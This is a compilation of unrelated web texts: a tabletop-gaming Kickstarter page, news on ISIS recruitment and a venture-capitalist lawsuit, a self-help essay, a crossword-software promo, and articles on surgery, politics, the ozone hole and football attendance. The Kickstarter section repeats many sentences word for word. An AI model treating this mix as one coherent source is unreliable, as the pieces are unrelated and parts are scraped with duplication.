with your fellow gamers, but also as a live event at GEN CON immortalized on video to help motivate and inspire your PERSONAL gaming group. Your contributions help create, publish and host the game and document it in the polished, professional style you’ve come to expect from the Dungeon Bastard. The result should be a lot more fun than “The World's WORST Dungeon Crawl” HAS ANY RIGHT TO BE.  The stretch goals continue to tumble like a half-elven thief in a cavern full of storm giants! Here's a snapshot of what we have so far: Fans at the $25+ level will receive PDFS of:  Play Dirty compendium of game mastering advice by John Wick  compendium of game mastering advice by John Wick The ENnie award-winning adventure Pleasure Prison of the B'thuvian Demon Whore from Expeditious Retreat Press.  from Expeditious Retreat Press. Bill Cavalier's Libram of Ineffable BASTARDLINESS . A collection of the Dungeon Bastard's finest wit, wisdom, and advice as seen on the series as well as Facebook & Twitter.  . A collection of the Dungeon Bastard's finest wit, wisdom, and advice as seen on the series as well as Facebook & Twitter. JUST UNLOCKED: The Genius Guide to the Godling by Super Genius Games for all backers $25 and up! We're also upgrading the cover and interior art on the World's Worst Dungeon Crawl PDF to full-color. Backers pledging $50 or more will receive: TWO commentary tracks added to their physical DVD - one track by Bill and one behind-the-scenes creator commentary by writer and lead Tom Lommel.  commentary tracks added to their physical DVD - one track by Bill and one behind-the-scenes creator commentary by writer and lead Tom Lommel. Bill Cavalier's BASTARDLY BATTLE CRIES : twenty individual MP3 tracks you can load on your smartphone and use to berate your DM whenever the game starts to suck or, conversely, YOU are particularly AWESOME (i.e. ALL THE TIME).  : twenty individual MP3 tracks you can load on your smartphone and use to berate your DM whenever the game starts to suck or, conversely, YOU are particularly AWESOME (i.e. ALL THE TIME). Fat Dragon Games Copper Dragon Starter Bundle: a set of high-quality 2D printable terrain for your table top. This set INCLUDES Basic Caverns 1 & 2, Basic Dungeons 1 & 2, and Dungeon Perils!  JUST UNLOCKED: BATTLE MUSIC FOR BASTARDS! Ten ORIGINAL tracks designed to INSPIRE YOUR GAME, directly from the talented hands of Mark Frey, who does ALL of our composing and arrangements for the series -- including the theme song!  Here's a preliminary sample track from BATTLE MUSIC FOR BASTARDS entitled Crossing the Bridge of the Dark Gnome Necromancer We've also promised a Colin McComb VIDEO SMACKDOWN, a BADASS DUNGEON CRUSHER credit for backers $100+ and dedicated funding for 6 more months of Dungeon Bastard! In addition, the BACKERS will VOTE to put the slogan of THEIR CHOICE on Bill's shirt during the live event. Here's just a SAMPLING of the rewards you're getting at the $100 level:  NEXT UP AT $30,000 we unsheath THE VORPAL SWORD! At this level: Everyone backing at $50+ will receive Fat Dragon Games E-Z Dungeons DELUXE EDITION . Over 155 megs of dungeon terrain, tiles, traps, treasures and other items to dress up your game table!  . Over 155 megs of dungeon terrain, tiles, traps, treasures and other items to dress up your game table! Backers at $100+ will receive a personalized MP3 audio eulogy mourning the (clearly UNFAIR) death of your PC or a full-on Dungeon Bastard haranguing mocking your DM for his inability to KILL YOUR CHARACTER.  Also, Bill will go mano-a-jerko with John Wick in a NO HOLDS BARRED wizard duel at Gen Con 2013. If you saw what the Bastard did to Monte Cook LAST year, you know that did not end well. Here's the current stretch list:  What people are saying about my adventure  "I have every confidence that this will be absolutely the most terrible, awful dungeon crawl, ever." ~Monte Cook  "Whoever said playing roleplaying games won't turn you into a Satanist hasn't played D&D with the Dungeon Bastard." ~Kenneth Hite  "Just when you thought he couldn't get any lower, the Dungeon Bastard takes out his +5 Pick of Sucking and starts digging." ~John Wick  "So bad it will have the PCs falling on their swords and the players taking a battering ram to the exit door - which will be chained of course because that's the only way the Bastard will manage to get a group seated at the table." ~Jolly Blackburn  "Black holes don't suck this much. This thing whips out a +5 Vorpal Blade of Awful and slices open a Sphere of Fun Annihilation in the hope of ending its own pathetic universe in a suicidal implosion of stupid — and naturally fumbles at that." ~Matt Forbeck  "Bill Cavalier," a haiku:  The plot is boring.  The players are comatose.  Dungeon Bastard stinks.  ~Sean K Reynolds  These guys are DICKS. ~Bill Cavalier  As you see to the right we offer some pretty cool rewards. In addition to the adventure itself and copy of the live Gen Con Indy 2013 event, we have Dungeon Bastard exclusive products like sweatbands and t-shirts and other in-game products with the help of our friends at Dragon Chow Dice Bags, Fat Dragon Games, and Super Genius Games. By contributing to this campaign, not only will you benefit from my ultimate gaming wisdom, you'll receive a BADASS combination of gaming gear that will take your next gaming experience to a whole new level of awesome. For instance:  You or your PC's name on my IMMORTAL WALL OF HEROES!  An HD video download of The World's WORST Dungeon Crawl event (with special content and intro by Bill Cavalier, exclusive to Kickstarter backers*)  B&W PDF of The World's WORST Dungeon Crawl ADVENTURE (with special intro by Stan!)  A Dungeon Bastard exclusive! PDF download of The Genius Guide to Horrifically Overpowered Feats from Super Genius Games.  from Super Genius Games. ENnie award-wining PDF adventure Pleasure Prison of the B'thuvian Demon Whore based on the cult hit Fear of Girls.  based on the cult hit Fear of Girls. Play Dirty a collection of gaming advice from the DIRTIEST Game Master around, John Wick!  a collection of gaming advice from the DIRTIEST Game Master around, John Wick! The Genius Guide to the Godling from Super Genius Games!  from Super Genius Games! Bill Cavalier's Libram of Ineffable BASTARDLINESS a collection of the Dungeon Bastard's finest, most popular gaming wisdom and quotes from Facebook, Twitter, and the series.  Physical DVD of The World's WORST Dungeon Crawl event (with special content and intro by Bill Cavalier, exclusive to Kickstarter backers)  Custom sweat/wristbands (2-pieces) that say “LAWFUL” on the left arm and “BADASS” on the right arm.  Dungeon Bastard Ultimate Dice Tower PDF (from Fat Dragon Games).  Bill Cavalier will follow you on Twitter for 1 year, where you will serve as his special FIELD RESEARCH AMBASSADORS FOR MAXIMUM BADASSERY.  HALF-ELF THIEF rewards.  BONUS: Not one, but TWO commentary tracks added to their physical DVD - one track by Bill and one behind-the-scenes creator commentary by writer and lead Tom Lommel.  Not one, but commentary tracks added to their physical DVD - one track by Bill and one behind-the-scenes creator commentary by writer and lead Tom Lommel. BONUS: Bill Cavalier's BASTARDLY BATTLE CRIES : twenty individual MP3 tracks you can load on your smartphone and use to berate your DM whenever the game starts to suck or, conversely, YOU are particularly AWESOME (i.e. ALL THE TIME).  Bill Cavalier's : twenty individual MP3 tracks you can load on your smartphone and use to berate your DM whenever the game starts to suck or, conversely, YOU are particularly AWESOME (i.e. ALL THE TIME). BONUS: Fat Dragon Games Copper Dragon Starter Bundle: a set of high-quality 2D printable terrain for your table top. This set INCLUDES Basic Caverns 1 & 2, Basic Dungeons 1 & 2, and Dungeon Perils!  Fat Dragon Games Copper Dragon Starter Bundle: a set of high-quality 2D printable terrain for your table top. This set INCLUDES Basic Caverns 1 & 2, Basic Dungeons 1 & 2, and Dungeon Perils! BONUS: BATTLE MUSIC FOR BASTARDS! Ten ORIGINAL tracks designed to INSPIRE YOUR GAME, directly from the talented hands of Mark Frey, who does ALL of our composing and arrangements for the series -- including the theme song!  B&W printed copy of "The World's WORST Dungeon Crawl" adventure book.  Set of 3 Bill Cavalier POWER GAMER d6s (always roll a 6!).
-british muslims turning to isis because they want sex  A former Islamist has said that young British Muslim men are keen on joining terror outfit ISIS because of their urge for sex.  Bradford preacher, Alyas Karmani, said that they feel isolated in 'sexualised' British society and they want sex.  This, he said, because they don't have the same freedom of Western youths to have girlfriends and intimate relationships.  "This is all about sex... These guys just want girls. That's it. My wife said you can't say that because you'll get really lambasted for it, but guys do things for girls - and that's it," he said.  Alyas now tours the country reaching out to young British Muslims to stop them from turning to ISIS.  He said the kids are brought up with value that they cannot have sex before marriage, that you cannot have a girlfriend.  This, he said, is sinful.  "A very big prohibition for an individual and you are growing up in a sexualised society, there's a real sense of hate that you have that I can't do this," he said.  United Nations has revealed what ISIS does to women when it gains control of new territory: rape, slavery, sadism and murder.  The extremists run slave markets for girls they abduct in captured territories.  Kidnapping of teenage girls has become part of ISIS's method to recruit foreign fighters.
-To Anyone Who Thinks They’re Falling Behind  Jamie Varon Blocked Unblock Follow Following Feb 5, 2016  You don’t need more motivation. You don’t need to be inspired to action. You don’t need to read any more lists and posts about how you’re not doing enough.  We act as if we can read enough articles and enough little Pinterest quotes and suddenly the little switch in our brain will put us into action. But, honestly, here’s the thing that nobody really talks about when it comes to success and motivation and willpower and goals and productivity and all those little buzzwords that have come into popularity: you are as you are until you’re not. You change when you want to change. You put your ideas into action in the timing that is best. That’s just how it happens.  And what I think we all need more than anything is this: permission to be wherever the fuck we are when we’re there.  You’re not a robot. You can’t just conjure up motivation when you don’t have it. Sometimes you’re going through something. Sometimes life has happened. Life! Remember life? Yeah, it teaches you things and sometimes makes you go the long way around for your biggest lessons. You don’t get to control everything. You can wake up at 5am every day until you’re tired and broken, but if the words or the painting or the ideas don’t want to come to fruition, they won’t. You can show up every day to your best intentions, but if it’s not the time, it’s just not the fucking time. You need to give yourself permission to be a human being.  Sometimes the novel is not ready to be written because you haven’t met the inspiration for your main character yet. Sometimes you need two more years of life experience before you can make your masterpiece into something that will feel real and true and raw to other people. Sometimes you’re not falling in love because whatever you need to know about yourself is only knowable through solitude. Sometimes you haven’t met your next collaborator. Sometimes your sadness encircles you because, one day, it will be the opus upon which you build your life.  We all know this: that our experience cannot always be manipulated. Yet, we don’t act as though we know this truth. We try so hard to manipulate and control our lives, to make creativity into a game to win, to shortcut success because others say they have, to process emotions and uncertainty as if these are linear journeys.  You don’t get to game the system of your life. You just don’t. You don’t get to control every outcome and aspect as a way to never give in to the uncertainty and unpredictability of something that’s beyond what you understand. It’s the basis of presence: to show up as you are in this moment and let that be enough.  Yet, we don’t act in a way that supports this lifestyle. We fill every minute with productivity tools and read 30-point lists on how to better drive out natural, human impulse. We often forget that we are as we are until we’re not. We are the same until we’re changed. We can move that a bit further by putting into place healthy habits and to show up to our lives in a way that fosters growth, but we can’t game timing. Timing is the one thing that we often forget to surrender to.  Things are dark until they’re not. Most of our unhappiness stems from the belief that our lives should be different than they are. We believe we have control — and our self-loathing and self-hatred comes from this idea that we should be able to change our circumstances, that we should be richer or hotter or better or happier. While self-responsibility is empowering, it can often lead to this resentment and bitterness that none of us need to be holding within us. We have to put in our best efforts and then give ourselves permission to let whatever happens to happen—and to not feel so directly and vulnerably tied to outcomes. Opportunities often don’t show up in the way we think they will.  You don’t need more motivation or inspiration to create the life you want. You need less shame around the idea that you’re not doing your best. You need to stop listening to people who are in vastly different life circumstances and life stages than you tell you that you’re just not doing or being enough. You need to let timing do what it needs to do. You need to see lessons where you see barriers. You need to understand that what’s right now becomes inspiration later. You need to see that wherever you are now is what becomes your identity later.  Sometimes we’re not yet the people we need to be in order to contain the desires we have. Sometimes we have to let ourselves evolve into the place where we can allow what we want to transpire.  Let’s just say that whatever you want, you want it enough. So much so that you’re making yourself miserable in order to achieve it. What about chilling out? Maybe your motivation isn’t the problem, but that you keep pushing a boulder up a mountain that only grows in size the more you push.  There’s a magic beyond us that works in ways we can’t understand. We can’t game it. We can’t 10-point list it. We can’t control it. We have to just let it be, to take a fucking step back for a moment, stop beating ourselves up into oblivion, and to let the cogs turn as they will. One day, this moment will make sense. Trust that.  Give yourself permission to trust that.
-Welcome to EclipseCrossword!  EclipseCrossword is the fast, easy, free way to create crossword puzzles in minutes.  It's never been simpler: just give EclipseCrossword a list of words and clues, and it does the rest. In seconds, you'll have a crossword puzzle with just the words you want. EclipseCrossword has been downloaded more than six million times by people just like you.  Who can use EclipseCrossword? Teachers and parents: Use crosswords to review vocabulary and lessons for all subjects. Students may actually even enjoy doing the assignment! Crossword puzzles encourage logical thinking and correct spelling. Crosswords can be printed or uploaded to your website.  Use crosswords to review vocabulary and lessons for all subjects. Students may actually even doing the assignment! Crossword puzzles encourage logical thinking and correct spelling. Crosswords can be printed or uploaded to your website. Webmasters: You can easily create interactive crossword puzzle web pages with EclipseCrossword—crossword puzzles are a great way to get people to stay on your site, and come back in the future. Your visitors can play the puzzle right on your website, or you can post a printable version so they can solve it at their leisure.  You can easily create interactive crossword puzzle web pages with EclipseCrossword—crossword puzzles are a great way to get people to stay on your site, and come back in the future. Your visitors can play the puzzle right on your website, or you can post a printable version so they can solve it at their leisure. Newsletter editors: Nobody reads your newsletter? Try adding a crossword puzzle next time, and maybe people will look at it before throwing it away. EclipseCrossword lets you easily save files that can be used in your word processor or publishing software.  Nobody reads your newsletter? Try adding a crossword puzzle next time, and maybe people will look at it before throwing it away. EclipseCrossword lets you easily save files that can be used in your word processor or publishing software. You! Anybody can use EclipseCrossword to produce great-looking crossword puzzles. If you're not sure what you'd make a crossword about, check out these ideas.  Take the EclipseCrossword tour and see what EclipseCrossword has to offer.  New on EclipseCrossword.com We cleaned up a couple of old, crusty links.  Not sure yet? Read what others have said about EclipseCrossword, or check out some projects by other EclipseCrossword users. We're sure you'll be convinced. And remember, EclipseCrossword is free!
-More advanced, potentially costlier robotic prostate cancer surgery may offer no long-term benefit versus traditional procedures, according to a new study. In fact, the outcomes between robotic and traditional prostatectomies were found to be largely the same in the study that involved more than 300 men.  To arrive at their comparative findings, researchers split their study group into two segments. One group of men underwent traditional open surgery. The other group was treated using robotic technology. While the robotic surgery group lost less blood, experienced less pain and had shorter hospital stays, other factors were comparable between the two groups. Researchers found, for example, that both groups of men had to take the same number of days to recover and that rates of complications were similar.  When assessed at the three-month mark, researchers say, men reported similar rates of side effects. There was no significant difference in the rate of sexual dysfunction, urinary problems or infections between the two groups. Although preliminary, the initial findings indicate there may be no significant benefit of choosing robotic surgery versus traditional prostatectomy surgery.  The study, researchers say, will continue with follow-ups at different intervals out from the procedures. In the meantime, they say the findings indicate the importance of carefully weighing the overall benefits, risks and costs of procedures being selected to treat prostate cancer. While robotic prostatectomy may offer enhanced precision, the findings show a skilled surgeon can achieve similar results with a less costly open procedure.  An estimated 161,000 American men will be diagnosed with prostate cancer in the coming year. Some of these men will find their doctors recommending a radical prostatectomy to treat the disease. If the option is urged, men should discuss the potential benefits of open surgery versus robotic procedures with their healthcare providers. It is also strongly urged that men explore all their treatment options for the disease. In some cases, procedures like brachytherapy, may offer a less invasive way to treat cancerous cells.
-It's almost the exact same article with a slightly better title, I guess. ("Tyrannosaurus Sex?" "JurASSic Park?" "Velocirapture?" I came up with those in like eight seconds, and I don't even write about Stegosaurus dicks professionally.) This article, which was published by a different Daily Mail author back in February, also treats the "dinosaurs had sex like dogs" tidbit like it was some big, new revelation. And because I'm convinced there's some kind of underground committee that gives awards to the laziest journalists, both articles feature the same quote from the same source.  DailyMail  Continue Reading Below Advertisement  There's also some mild dinosaur porn in the old version:  DailyMail  Sure, the scientific illustrations weren't as graphic and deeply unsettling in the old article, but finding an illustrator who was the right combination of scientist and pervert isn't reason enough to rewrite the exact same story and pretend it's new news.  Hey, speaking of "new" and "news," there was something else that bothered me about these articles. Specifically, their newness and newsiness ...  The New News Isn't New and Even the Old News Wasn't New News When It Was New  (Jesus. Who am I to criticize people's titling decisions?)  If you're anything like me, then you know that New Jersey State Museum research associate Brian Switek is the closest thing the Internet has to an expert on dinosaur sex. (Spoiler: You are nothing like me, and you never will be.) Switek has a history of writing very thoughtful and informative essays about dinosaur sex, so I naturally assumed that if some clown at the Daily Mail was going to start stepping onto Switek's turf, he'd have something to say about it. I was right. In his essay on Wired, Switek also acknowledges that the July version of this story ripped off the February version, and he goes on to say that, even back in February, there was no reason to write the story in the first place. Even though both Daily Mail articles treat the sex reveal like some big, breaking story, Switek assures us that there hasn't been a new study on the topic in a long time. No new information on dinosaur sex in February or July, but that didn't stop the Daily Mail from getting you to stop what you were doing to pay attention to these dinosaur dicks right this second.  DailyMail  Continue Reading Below Advertisement  Also? They're Wrong  According to Switek (the only person in this situation who vaguely resembles an authority), "We really don't have a refined idea of dinosaur sex positions." Daily Mail reports that a T. rex penis is about 12 feet long, even though we've still never found a fossil of a dinosaur penis.  We put a man on the moon and made a cheeseburger entirely out of ground bacon, but I still can't take my nephew to a museum and show him a brontosaurus dick. Life, right?  In Conclusion ...  A crappy British tabloid republishes a bullshit study it published six months ago and the Internet picks it up and runs with it. It's already made its way around the Internet twice, I'd imagine, before Switek's article debunking it could even get its pants on.  I've written about the Internet's total inability to accurately report on news in the past, because it's a subject that completely fascinates me, and because I'd like us to try to be better. Aaron Sorkin's new show, The Newsroom, is about a news anchor who is sick of the modern state of broadcast journalism and longs for "The good ol' days," when real, honest, legitimate news was done by real newsmen.  These are the Internet's good ol' days. We're still so young as a "thing" and we're already spreading lies about T. rex dicks. I am by NO means saying we should stop talking about dinosaur penises. Just that we should be honest about it.  DailyMail  Daniel O'Brien is Cracked.com's senior writer (ladies), and he will be at Comic-Con all weekend long if you want to meet up and talk about dinosaur sex (no other topics will be discussed). Follow him on Twitter to find out about spontaneous San Diego Cracked meet-ups.  For more from Dan, check out 4 Reasons to Hate Comic-Con and Proposed Script for Spider-Man 4: The Grittiest Reboot Ever.  More Blogs
-A Silicon Valley venture capitalist has been sued for $40 million by a woman who claims he used her as a virtual sex slave for 13 years.  Michael Goguen, who had worked for a firm that funded Google and Paypal, “sexually and physically” abused Amber Laurel Baptiste over more than 13 years after picking her up at a Texas strip club, her lawsuit alleges.  Baptiste, who claims she was brought to the United States from Canada by human traffickers at 15, said she endured “countless hours of forced sodomy” from the tech titan.  The former stripper said Goguen made her endure demeaning sexual acts, sodomized her for “six hours at a time,” and forced her to call him “king” and “emperor.”  Filed in San Mateo County, Calif., on March 8, her suit details a life of torture and servitude as she was jetting around the globe to serve as the millionaire’s plaything.  She claims Goguen had promised to save her from human trafficking but instead became an even worse predator himself.  Goguen, who was forced to step down from his position at Sequoia Capital, did not deny that the two had a sexual relationship but insisted the sex was consensual.  He filed a countersuit against Baptiste claiming she is an “exotic dancer . . . looking for a payday.”  The venture capitalist said Baptiste was obsessed with him and sought to extort him because she was jealous of his wife.  In his countersuit, Goguen provides pages of texts and emails in which she apparently refers to him as “Prince Charming,” “My Beautiful Love” and “the sweetest man in the world.”  The suit includes Bapiste’s descriptions of the “amazing sex” the two had together and photos that she allegedly sent him in which she is seen playfully posing in her underwear.  Baptiste is demanding $40 million, saying the two agreed on the amount to compensate her for the horrors she had suffered.  Goguen, who has already paid her $10 million, said she is “a woman scorned” and a victim “of her own delusions.”  He claims that when he tried to end their relationship, Baptiste became bent on vengeance, threatening to ruin his life and reputation.  He said that he had no choice but to pay her the $10 million, but that she refused to relent and demanded more money.  Sequoia Capital released a statement that called Goguen’s departure from the firm the “appropriate course of action.”  A philanthropist, Goguen was lauded for donating $2 million to fight online child pornography and sex trafficking where he lives in Montana.  Goguen is not the only business leader who’s faced backlash over sexually inappropriate behavior.
-Jeb Bush, former governor of Florida, reacts during a keynote speech session at the National Automobile Dealer Association (NADA) conference in San Francisco, California, U.S., on Friday, Jan. 23, 2015. Photographer: David Paul Morris/Bloomberg  There is something about today's Republican Party. The grass-roots base -- call it the "tea party" if you must -- simply loves to joust with the party establishment.  And nowhere is that more the case than in the first contest of the 2016 presidential election: the Iowa caucuses.  Witness this new Bloomberg Politics/Des Moines Register poll of 2016 caucuses. The big takeaway Sunday was that Wisconsin Gov. Scott Walker has taken the lead (a statistically insignificant one, albeit). More specifically, the big takeaway was that the erstwhile front-runners -- Mitt Romney and Jeb Bush -- don't lead. (The survey was conducted before Romney announced Friday that he won't run.)  The reason: The Iowa caucuses just aren't friendly to establishment Republicans.  We noted Friday that Romney's unfavorable rating among likely caucus-goers was 40 percent -- a very high number, given that these are members of Romney's own party.  Well, he's not the only one. While Romney's favorable/unfavorable split is 57/40, Bush's is even worse: 46/43. And New Jersey Gov. Chris Christie's image is downright bad: 36 percent favorable vs. 54 percent unfavorable. Again, this is among Republicans.  Other, less establishment-oriented Republicans don't have this problem. Sen. Rand Paul (Ky.) is at 64/25. Former Arkansas governor Mike Huckabee is at 66/28. Walker is an unparalleled 60/12. None of the Democrats have this problem, either; Hillary Rodham Clinton is at 84/15, Vice President Biden is at 78/20, and Sen. Elizabeth Warren (Mass.) is at 58/11.  The reason voters are picking on Romney, Bush and Christie? It's because they are perceived as too moderate. Thirty-seven percent each say Romney and Bush are too moderate, while 46 percent say that about Christie. Nobody else comes close.  This is precisely why the caucuses picked Huckabee in 2008 and former senator Rick Santorum (Pa.) in 2012. It's why Sen. John McCain (Ariz.) didn't compete in 2008 and why Romney almost didn't in 2012. Establishment support means far less here.  Bush sounds as though he'll compete in Iowa. While he skipped the Iowa Freedom Summit last weekend, he has hired well-known Iowa GOP operative David Kochel as his senior strategist and potential campaign manager.  But if you're Bush -- or Christie -- these numbers have to color your strategy going forward. When about half of likely caucus-goers already have decided that they don't like you a year before the caucuses, getting them to vote for you is going to be exceedingly difficult.
-Hillary Clinton's new book What Happened attempts to explain Trump's upset victory in 2016 through a series of reasons which are not Hillary Clinton. The gambit runs from apathetic white lady voters to Russian meddling to the inscrutable popularity of Donald Trump. When Clinton's focus turns to herself, however, she's light on culpability. She admits she can be guarded, but that admission doesn't encapsulate the relentless political ambition paired with shady financial dealings and a willingness to subvert national security that turned off much of the country.  In the end Clinton was also just a bad candidate.  In the latest Mostly Weekly Andrew Heaton explores Clinton's new book, so you don't have to.  Watch past episodes.  Mostly Weekly is hosted by Andrew Heaton with headwriter Sarah Rose Siskind.  Script by Sarah Rose Siskind with writing assistance from Andrew Heaton and Brian Sack.  Edited by Austin Bragg and Siskind.  Produced by Meredith and Austin Bragg.  Theme Song: Frozen by Surfer Blood.  Subscribe at YouTube.  Like us on Facebook.  Follow us on Twitter.  Subscribe to our podcast at iTunes.
-What would the 1980s have been without big hair and ice-cold wine coolers?  Luckily no one had to find out: Key substitutions in hairsprays and refrigerants allowed such products to exist without chlorofluorocarbons (CFCs), which were found to be ripping a huge "hole" in Earth's protective ozone layer.  Today the ozone hole, which was first spotted 25 years ago, appears headed for a happy ending, thanks to unprecedented international action.  Could a similar effort rein in climate change? And is the closing ozone hole actually making global warming worse?  Ozone at High Risk From CFCs  The ozone layer lies between about 9.3 and 18.6 miles (15 and 30 kilometers) above Earth's surface. This blanket of ozone, or O3, blocks most of the sun's high-frequency ultraviolet rays.  These UV rays can cause skin cancer and cataracts in humans, as well as reproductive problems in fish, crabs, frogs, and even in the single-celled phytoplankton at the bottom of the ocean food chain.  Ozone is created naturally when oxygen molecules (O2) high in the atmosphere get broken by sunlight into two free oxygen atoms. A free atom can then bond with an unbroken O2 molecule, and ozone is born.  Ozone is unstable, however, and it's easily broken up by trace elements.  Invented in the 1920s, CFCs proved to be an exceptional problem for ozone, because many of these synthetic chemicals can persist for decades, allowing them to make their way into the upper atmosphere. (Related: "Rocket Launches Damage Ozone Layer, Study Says.")  In that rarefied air, ultraviolet light breaks the molecular bonds in CFCs and free chlorine atoms get released. Chlorine then destroys ozone molecules by "stealing" their oxygen atoms.  Ozone Hole a Shocking Surprise  Scientists had theorized since the 1970s about the chemistry that could lead to ozone depletion. But in May 1985 scientists with the British Antarctic Survey shocked the world when they announced the discovery of a huge hole in the ozone layer over Antarctica.  Technically a substantial thinning of the ozone layer, the ozone "hole" has been opening every spring since the 1970s, the scientists reported.  Their data, collected at the Halley Research Station in Antarctica, suggested that CFCs were to blame. That's because atmospheric conditions during the cold, dark, Antarctic winters were building stockpiles of CFCs over the South Pole.  Returning spring sunshine would then spawn an abundance of free chlorine, depleting ozone levels above Antarctica by as much as 65 percent. (Related: "Laughing Gas Biggest Threat to Ozone Layer, Study Says.")  "One lesson is that the planet can change very rapidly in an unexpected way," said Jonathan Shanklin, one of the British scientists who made the ozone hole discovery and co-author of a paper on the ozone hole anniversary appearing in this week's issue of the journal Nature.  "Nobody was expecting to see anything like this in the Antarctic."  Fixing the Ozone Hole a Unanimous Decision  The disturbing discovery set the stage for an environmental triumph: the Montreal Protocol of 1987.  This pact to phase out the use of CFCs and restore the ozone layer was eventually signed by every country in the United Nations—the first UN treaty to achieve universal ratification.  The unparalleled cooperation has had a major impact.  "If we had just kept letting CFCs increase at a pretty nominal rate, characteristic of the 1970s, the decreased ozone levels of the hole would have eventually covered the entire planet," said atmospheric physicist Paul Newman of NASA's Goddard Space Flight Center.  "Global ozone dropped a little bit [after CFCs were banned], but the good news is that if we had done nothing, it would have gotten really, really bad."  Now a complete rebound seems imminent. Some scientists project that by 2080 global ozone will return to 1950s levels.  Now How About Global Warming?  As climate scientists around the globe urge action to curb greenhouse gas emissions, might the ozone hole experience provide some useful parallels? Perhaps, experts say—but the situations do have some significant differences.  In the 1980s people were faced with the clear and present health dangers from ozone depletion, leading to widespread public support for CFC bans.  "There was a scary side of the ozone hole, linked to skin cancers and cataracts and so on, which immediately engaged the public," the British Antarctic Survey's Shanklin said. "The real impact of what a rapidly warming world could do is not so obviously intuitive."  Chemical manufacturers were also able to create substitutes for CFCs with little added costs, enabling governments to address the problem without great impacts on the economy or average lifestyle.  Global warming, on the other hand, has become a politically loaded and often divisive topic.  And many potential fixes to the problem—such as alternative energies and reduced consumption—could cause major disruptions to economic and geopolitical norms in a way that replacing CFCs simply did not, Shanklin said.  Ozone Recovery to Warm Antarctica?  Meanwhile, some scientists say the environmental triumph of a recovering ozone layer could have a troubling side effect: boosting global warming, at least in the Antarctic region.  Ozone itself is a greenhouse gas. A thinner ozone layer not only reduced heat trapped over the region, it helped stir circumpolar winds, which in turn created sea spray that formed reflective, cooling clouds.  "It's very difficult to quantify the impact on a global scale, but I think the evidence suggests filling the hole will have a regional effect on the Antarctic, possibly leading to more warming for the bulk of the Antarctic," Shanklin said. "That could drastically change predictions about global sea level change."  Ken Carslaw of the U.K.'s University of Leeds was a co-author on the study that suggested closing the ozone hole would lead to a bump in Antarctic warming. Still, he thinks that any warming mitigation produced by the ozone hole was merely a side effect and not a net gain.  "I wouldn't say that these discoveries [of possible warming] suggest the formation of the ozone hole was a good thing," he said.  NASA's Newman agreed: "The consequences of unabated CFC growth were disastrous for life," he said.  "So at some point you had to act, and fortunately they acted before it became a really severe problem. We never got to the level of an environmental catastrophe.
-Sean Gardner/Reuters  How do pro fans stack up against those who favor the college game on a city-by-city basis?  This weekend is a big one for football fans: it's the start of the NFL's playoff season. One in four Americans — 75 to 80 million of us, according to some surveys — follow football regularly. A 2010 survey found that roughly two-thirds of Americans watch professional football, compared to just over half for college. But which teams and cities have the most fanatical fans? And how do pro fans stack up against those who favor the college game on a city by city basis? To get at these questions, Patrick Adler, a doctoral student in urban planning at UCLA and Martin Prosperity Institute alum, tracked football attendance numbers for 116 metropolitan areas with NFL franchises or bowl-eligible college teams. Adler calculated a simple metric based on average fan attendance for all pro and college football games. To control for substantial differences in population size, he also tallied average attendance as a share of metro population. The data are from the NCAA and ESPN and cover the 2011 season.  These metrics have their caveats, Adler points out. They only account for attendance at games, and do not count those fans who regularly follow teams on television and through other means. But as the New York Times's Nate Silver notes in his analysis of college football, home attendance usually tracks to the most popular teams across multiple dimensions. The Martin Prosperity Institute's Zara Matheson mapped Alder's two key metrics. The map above charts the average attendance by metro. The colors of the icons indicate NFL only (pink), college only (green), or both (blue). The table below lists the top 20 metros by average football attendance for both. Top 20 Metro Areas for Overall Average Attendance in 2011 Rank Metro Average Attendance 1 New York-Northern New Jersey-Long Island, NY-NJ-PA 202,222 2 San Francisco-Oakland-Fremont, CA 166,631 3 Dallas-Fort Worth-Arlington, TX 158,956 4 Miami-Fort Lauderdale-Pompano Beach, FL 145,516 5 Los Angeles-Long Beach-Santa Ana, CA 131,450 6 Seattle-Tacoma-Bellevue, WA 128,944 7 Houston-Sugar Land-Baytown, TX 120,556 8 Nashville-Davidson--Murfreesboro—Franklin, TN 120,423 9 Phoenix-Mesa-Scottsdale, AZ 120,188 10 Washington-Arlington-Alexandria, DC-VA-MD-WV 119,276 11 Atlanta-Sandy Springs-Marietta, GA 117,218 12 Chicago-Naperville-Joliet, IL-IN-WI 114,490 13 Ann Arbor, MI 112,179 14 Minneapolis-St. Paul-Bloomington, MN-WI 110,530 15 Pittsburgh, PA 109,037 16 Baltimore-Towson, MD 105,835 17 San Diego-Carlsbad-San Marcos, CA 105,257 18 Columbus, OH 105,231 19 Boston-Cambridge-Quincy, MA-NH 104,465 20 Tuscaloosa, AL 101,821 Table data from NCAA and ESPN as compiled by Patrick Adler  As we would expect, big metros top the list. New York is first, by a substantial margin. But the list follows population size only to an extent. Los Angeles, America's second largest metro, is fifth, and Chicago, the third largest metro, is 12th. San Francisco is second in football attendance, Dallas third, and Miami fourth. Seattle, Houston, Nashville, Phoenix, and Washington, D.C., round out the top 10. Cities are changing fast. Keep up with the CityLab Daily newsletter. The best way to follow issues you care about. Subscribe Loading... Most of the top 20 have both pro and college teams. But there are several places on the list that only have college teams — notably, Ann Arbor, Michigan, Columbus, Ohio, and Tuscaloosa, Alabama. Interestingly, the average attendance in the Ann Arbor metro is greater than in Detroit. The table below shows the top 20 metros for average attendance where only college football is played. Top 20 College-Only Metro Areas for Average Attendance in 2011* Rank Metro Average Attendance 1 Los Angeles-Long Beach-Santa Ana, CA 131,450 2 Ann Arbor, MI 112,179 3 Columbus, OH 105,231 4 Tuscaloosa, AL 101,821 5 State College, PA 101,427 6 Austin-Round Rock, TX 100,524 7 Knoxville, TN 94,642 8 Baton Rouge, LA 92,868 9 Athens-Clarke County, GA 92,613 10 Gainesville, FL 89,061 11 College Station-Bryan, TX 87,183 12 Auburn-Opelika, AL 85,792 13 Lincoln, NE 85,267 14 Oklahoma City, OK 85,161 15 South Bend-Mishawaka, IN-MI 80,795 16 Madison, WI 79,813 17 Columbia, SC 79,131 18 Greenville-Mauldin-Easley, SC 77,959 19 Tallahassee, FL 77,842 20 Lansing-East Lansing, MI 74,078 Table data from the NCAA as compiled by Patrick Adler After Los Angeles, smaller metros now rise to the top. Ann Arbor is second, followed by Columbus, Ohio and Tuscaloosa, Alabama — all of which also rank among the top 20 for overall attendance, as noted above. State College, Pennsylvania is fifth, and Austin sixth. Rounding out the top 10 are Knoxville, Tennessee; Baton Rouge, Louisiana; Athens, Georgia; and Gainesville, Florida.*  The picture is different when we consider football attendance as share of a metro's population. Several caveats are in order, Adler notes. Students, who attend college football games, are typically not included in the population of college towns. 